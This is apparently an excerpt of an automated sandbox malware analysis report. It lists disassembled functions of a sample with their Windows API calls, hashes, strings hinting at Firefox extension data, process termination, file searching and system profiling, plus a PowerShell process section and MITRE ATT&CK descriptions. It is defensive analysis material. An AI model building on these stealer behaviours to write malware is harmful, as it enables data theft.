Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: bad4e886ca4ed563d506c95586210e04d3fcbf70f866d2dc20120bfb4dd4c5a9
Instruction ID: acd761cf67ab50a7d13c09a5d77cd52656748e74256d347ee52ac4f98a1d5b34
Opcode Fuzzy Hash: bad4e886ca4ed563d506c95586210e04d3fcbf70f866d2dc20120bfb4dd4c5a9
Instruction Fuzzy Hash: F181BD72A101089ADB04FBA4DD96EEE737AAF55300F504569F506B7092EF346A09CFA2

Function 0005F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 000599C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000599EC
Part of subcall function 000599C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00059A11
Part of subcall function 000599C0: LocalAlloc.KERNEL32(00000040,?), ref: 00059A31
Part of subcall function 000599C0: ReadFile.KERNEL32(000000FF,?,00000000,000602E7,00000000), ref: 00059A5A
Part of subcall function 000599C0: LocalFree.KERNEL32(000602E7), ref: 00059A90
Part of subcall function 000599C0: CloseHandle.KERNEL32(000000FF), ref: 00059A9A

Part of subcall function 00068E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00068E52

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00071580,00070D92), ref: 0005F54C
lstrlenA.KERNEL32(00000000), ref: 0005F56B

Strings

^userContextId=4294967295, xrefs: 0005F59C
moz-extension+++, xrefs: 0005F5AD

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 2028259ee00a7086fcc2e7cc9860dd7d549ee910a1cbf8ce9bd6d8ba0fccbbef
Instruction ID: 1f9809be3a6dac93bd13f719756f7cbdf2a3973f3375477f4c37515643fa45ed
Opcode Fuzzy Hash: 2028259ee00a7086fcc2e7cc9860dd7d549ee910a1cbf8ce9bd6d8ba0fccbbef
Instruction Fuzzy Hash: 6851C271E101089ADB04FFA4DC96DEE737AAF55300F508529F916B7192EE346A0DCFA2

Function 000694D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000694EB

Part of subcall function 00068D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0006951E,00000000), ref: 00068D5B
Part of subcall function 00068D50: HeapAlloc.KERNEL32(00000000,?,?,0006951E,00000000), ref: 00068D62
Part of subcall function 00068D50: wsprintfW.USER32 ref: 00068D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 000695AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 000695C9
CloseHandle.KERNEL32(00000000), ref: 000695D6

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: c43cf9d4aa0149e5bb988303612665e356212e6109d6dc7fc94ce05fe0a0b98e
Instruction ID: 312063843f0e80af861f3f55b1cdd57b6573ab2e3b4138997bd9eb55ca42133e
Opcode Fuzzy Hash: c43cf9d4aa0149e5bb988303612665e356212e6109d6dc7fc94ce05fe0a0b98e
Instruction Fuzzy Hash: D8311971E00308AFDB14DBE0DD49BEDB7B9FF44700F104559E506AB584DB74AA89CB92

Function 00068680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,000705B7), ref: 000686CA
Process32First.KERNEL32(?,00000128), ref: 000686DE
Process32Next.KERNEL32(?,00000128), ref: 000686F3

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

CloseHandle.KERNEL32(?), ref: 00068761

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 5cd5977e744bea6512fe5712b88c08f0f43181a37d7c5bcda0003ea8ed99ac03
Instruction ID: c2081f0bf6693d5a221247ad75af5cc8abba613daa194784ebc76e99bc5ec48f
Opcode Fuzzy Hash: 5cd5977e744bea6512fe5712b88c08f0f43181a37d7c5bcda0003ea8ed99ac03
Instruction Fuzzy Hash: 72314D71A01218EBCB24EF54DC45FEEB7B9EB45700F108299F50AB61A1DF346A45CFA1

Function 00064F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00068DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00068E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00064F7A
lstrcatA.KERNEL32(?,00071070), ref: 00064F97
lstrcatA.KERNEL32(?,00BCDA98), ref: 00064FAB
lstrcatA.KERNEL32(?,00071074), ref: 00064FBD

Part of subcall function 00064910: wsprintfA.USER32 ref: 0006492C
Part of subcall function 00064910: FindFirstFileA.KERNEL32(?,?), ref: 00064943

Part of subcall function 00064910: StrCmpCA.SHLWAPI(?,00070FDC), ref: 00064971
Part of subcall function 00064910: StrCmpCA.SHLWAPI(?,00070FE0), ref: 00064987
Part of subcall function 00064910: FindNextFileA.KERNEL32(000000FF,?), ref: 00064B7D
Part of subcall function 00064910: FindClose.KERNEL32(000000FF), ref: 00064B92

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 42bdfb04ad216ff5e1c77f556a0d25db338d3e40ea4b140a3b7a5a2fd802db4c
Instruction ID: 1505bdacac1c6d363573b85991e41f8e9697435e1c867757a4a87404b47b9d4a
Opcode Fuzzy Hash: 42bdfb04ad216ff5e1c77f556a0d25db338d3e40ea4b140a3b7a5a2fd802db4c
Instruction Fuzzy Hash: 15216876D00308A7CB54FBB0EC4AFEA337DAB54700F404559B65997182EE749AC9CBE2

Function 000687C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00070E28,00000000,?), ref: 0006882F
HeapAlloc.KERNEL32(00000000,?,?,?,?,00070E28,00000000,?), ref: 00068836
wsprintfA.USER32 ref: 00068850

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Strings

%dx%d, xrefs: 00068847

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 0db7c8b1e2b02a07d646101a2c06f9a4c2ea9c5107ca563a11f658973aa6e542
Instruction ID: cb163d8162f8627f134d8adad139321fcd2db4f355806065bf8d3e3ecce1f412
Opcode Fuzzy Hash: 0db7c8b1e2b02a07d646101a2c06f9a4c2ea9c5107ca563a11f658973aa6e542
Instruction Fuzzy Hash: F5210DB1A44308AFDB04DFD4ED49FAEBBB9FB48711F10415AF605A7280C779A901CBA1

Function 00067980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00070E00,00000000,?), ref: 000679B0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00070E00,00000000,?), ref: 000679B7
GetLocalTime.KERNEL32(?,?,?,?,?,00070E00,00000000,?), ref: 000679C4
wsprintfA.USER32 ref: 000679F3

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 3509db43024670a327907829f7f9ce66658e629d418108cc07615527c9260b04
Instruction ID: a83be9576f132109eb51d64be31ffc75711cc247ebc767f4d7f97c8ded63852a
Opcode Fuzzy Hash: 3509db43024670a327907829f7f9ce66658e629d418108cc07615527c9260b04
Instruction Fuzzy Hash: 1311FAB2904218ABCB14DFD9ED49BBEB7F9FB4CB11F10425AF605A2280D7795940C7B1

Function 00067A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00BD06A0,00000000,?,00070E10,00000000,?,00000000,00000000), ref: 00067A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00BD06A0,00000000,?,00070E10,00000000,?,00000000,00000000,?), ref: 00067A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00BD06A0,00000000,?,00070E10,00000000,?,00000000,00000000,?), ref: 00067A7D
wsprintfA.USER32 ref: 00067AB7

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: fb0ef109e1acc00b56a310b05d75ad88203fe09244a82a07aef17db2be0bf9b7
Instruction ID: 2cf8716092c6e7018626e0ec1c3ac8aef508f917733066b5d5a30fb31559e5b5
Opcode Fuzzy Hash: fb0ef109e1acc00b56a310b05d75ad88203fe09244a82a07aef17db2be0bf9b7
Instruction Fuzzy Hash: CA115EB1E45218EBEB209B54DC49FA9B7B9FB44721F1043DAEA1A932C0D7745A40CF92

Function 000692E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00063AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00063AEE,?), ref: 000692FC
GetFileSizeEx.KERNEL32(000000FF,00063AEE), ref: 00069319
CloseHandle.KERNEL32(000000FF), ref: 00069327

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: efdf1c745d7a8715e52e88007e46e4da70da5c877feec7f84ded7c6048b5ffcb
Instruction ID: 41f05279b754afe8c88c6926cf0f8cce2b11f249f403988b5afdd4c755f72e7c
Opcode Fuzzy Hash: efdf1c745d7a8715e52e88007e46e4da70da5c877feec7f84ded7c6048b5ffcb
Instruction Fuzzy Hash: 88F0EC75E44308BBDB10DBF5EC49B9EB7FAAB48710F108654BA51A72C0D67497018B81

Analysis Process: powershell.exePID: 5320, Parent PID: 7124COMMON

Executed Functions

Function 04F27D20 Relevance: 3.2, Strings: 2, Instructions: 669COMMON

Download Yara Rule

Strings

(Xbq, xrefs: 04F27EAF
LR]q, xrefs: 04F27DCD

Memory Dump Source

Source File: 00000008.00000002.2238029517.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f20000_powershell.jbxd

Similarity

API ID:
String ID: (Xbq$LR]q
API String ID: 0-655927778
Opcode ID: a45fb20cb1d5d923ca31c830a5d82a77982d337f120c605a0c526c95d9af082b
Instruction ID: c0abb70cf7523494658927501934214ccb1984036d4f781bc087056d4c61534b
Opcode Fuzzy Hash: a45fb20cb1d5d923ca31c830a5d82a77982d337f120c605a0c526c95d9af082b
Instruction Fuzzy Hash: 07526E34B00324CFDB28EB24C954BADB7B2BF89344F1581A9D5459B394DB38AD46CF92

Function 04F27B62 Relevance: 2.9, Strings: 2, Instructions: 356COMMON

Download Yara Rule

Strings

(Xbq, xrefs: 04F27EAF
LR]q, xrefs: 04F27DCD

Memory Dump Source

Source File: 00000008.00000002.2238029517.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f20000_powershell.jbxd

Similarity

API ID:
String ID: (Xbq$LR]q
API String ID: 0-655927778
Opcode ID: 512f86da53e4bb1bcf20fc8108d4784e5d47e373243457026566356f4c679207
Instruction ID: 6629acaa401559f1271896e36cbd9639ec5595df3cce492020ed9fa7dcbac625
Opcode Fuzzy Hash: 512f86da53e4bb1bcf20fc8108d4784e5d47e373243457026566356f4c679207
Instruction Fuzzy Hash: E4515930B002248FDB24DF68C850B9DBBB2FF89314F1141A9D54AAB3A5DB75AD46CF91

Function 04F26EE0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238029517.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9800901ca6c8edfd67723e10e508880e228b6ad4f7f99edb17b3204df5b0faf7
Instruction ID: 480de49a4f83de5dbd586dae4e606cca9fe6ca3da2a49dbd234b57d350735e4d
Opcode Fuzzy Hash: 9800901ca6c8edfd67723e10e508880e228b6ad4f7f99edb17b3204df5b0faf7
Instruction Fuzzy Hash: 39A1AE34A012149FCB15DFA8C9849AEBBF2FF89310F1584A9E405EB362D735ED46CB90

Function 04F229F0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238029517.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c1528220121ab78e02e8e651180846a50ded7ec4a44562fc39d0131d4ed16e0
Instruction ID: 1ed3764b04754a4e08186d76ce988053f093a5d798a90ea8ff06510c614c17e6
Opcode Fuzzy Hash: 3c1528220121ab78e02e8e651180846a50ded7ec4a44562fc39d0131d4ed16e0
Instruction Fuzzy Hash: E0A18A74A002059FCB15CF5CC6949AEFBB1FF88320B2586A9D855AB365C735FC52CBA0

Function 04F22B00 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238029517.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3183317eee11c1ddfb402b730e6a9ac8f48587cac14d8f599a20fdd9e2fa25c4
Instruction ID: 5fb4bb5758535b01d25e95861ed9a5c57ac0baae0152d817f44ea94a89c8a651
Opcode Fuzzy Hash: 3183317eee11c1ddfb402b730e6a9ac8f48587cac14d8f599a20fdd9e2fa25c4
Instruction Fuzzy Hash: 57411674A005159FCB09CF58C6989AAFBB1FF48320B168599D955AB364C732FC92CBA0

Function 04F27138 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238029517.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b170a37fe78b38ba286a418f398c70f55a20a232fd5d3ae1dffbd4bfc4673a0a
Instruction ID: 2e0c3d4b727513d2b000e50f497d72f46484ebcb5d376e60664fd94b38e52eb2
Opcode Fuzzy Hash: b170a37fe78b38ba286a418f398c70f55a20a232fd5d3ae1dffbd4bfc4673a0a
Instruction Fuzzy Hash: 3611D474A002199FCB04DF98D9809AEFBF5FF89310B158559E909AB351C735FD41CBA1

Function 04F28791 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238029517.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f503b48cf7d5271dbe2640c8e0e237807d439b248f956d748b82ec1d1286f0e
Instruction ID: 7711a528bd58cc600bf55b98172b7414e59a9f5053cc599cd45d61472ce9518a
Opcode Fuzzy Hash: 4f503b48cf7d5271dbe2640c8e0e237807d439b248f956d748b82ec1d1286f0e
Instruction Fuzzy Hash: 5D017B30B48364DFDB22AB6898142ACBB72FB81340F1400E7D659CB183D7365C16CB62

Function 0337D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2236051331.000000000337D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0337D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_337d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea8ea0fda55e4f91e15b9dd8dfd3f1220e3448c6f3fe2e1e51ad1a7869d569c5
Instruction ID: 0af0a86d47c75fcfd3b675365c301a5a36b857c381b21f5a276363195904d69b
Opcode Fuzzy Hash: ea8ea0fda55e4f91e15b9dd8dfd3f1220e3448c6f3fe2e1e51ad1a7869d569c5
Instruction Fuzzy Hash: 2E01A2715053449AE730CA29CDC4B67FF9CEF46364F1CC46AED480A646C67D9846CAB1

Function 0337D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2236051331.000000000337D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0337D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_337d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c77a4804e17eb3f86bf1cc5c9741c5de7ae80c45714d9230a5a779c174b5e0e7
Instruction ID: 972d10c577766ff3660fc80a5c684828bf900aa3f9b6bc4fec636b5f8ae52bde
Opcode Fuzzy Hash: c77a4804e17eb3f86bf1cc5c9741c5de7ae80c45714d9230a5a779c174b5e0e7
Instruction Fuzzy Hash: 0001407140E3C09ED7128B258C94B52BFB8EF57224F1D84DBD9888F2A3C26D5849C772

Function 04F287C0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238029517.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eae478b97de075911f8d4dbf9b61c55884cd4cd30ad24f6b12b3cb50a592e35
Instruction ID: 18db58d6d9434f5040e10c922fb49601a19bde353b0e0014b641b48f9fb85977
Opcode Fuzzy Hash: 0eae478b97de075911f8d4dbf9b61c55884cd4cd30ad24f6b12b3cb50a592e35
Instruction Fuzzy Hash: 01F0C971E4422ADF8F84DFA888411EEFBB1AB08340B14856E9919E7340F33446568FD4

Function 04F287D0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238029517.0000000004F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e074d6c07a26d633fdab19d10ddd17c70fd5fb7ec44c1234cf0dead800738e3
Instruction ID: e652795d8cc97dfa3ec696cad5e70a28c8ed3a0eb625ac45a9372a43e4332a21
Opcode Fuzzy Hash: 7e074d6c07a26d633fdab19d10ddd17c70fd5fb7ec44c1234cf0dead800738e3
Instruction Fuzzy Hash: 13E026B5E0424E9F8F88EFB995421BEFBF5AB48340F10856E9819E7340E63456118FD5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
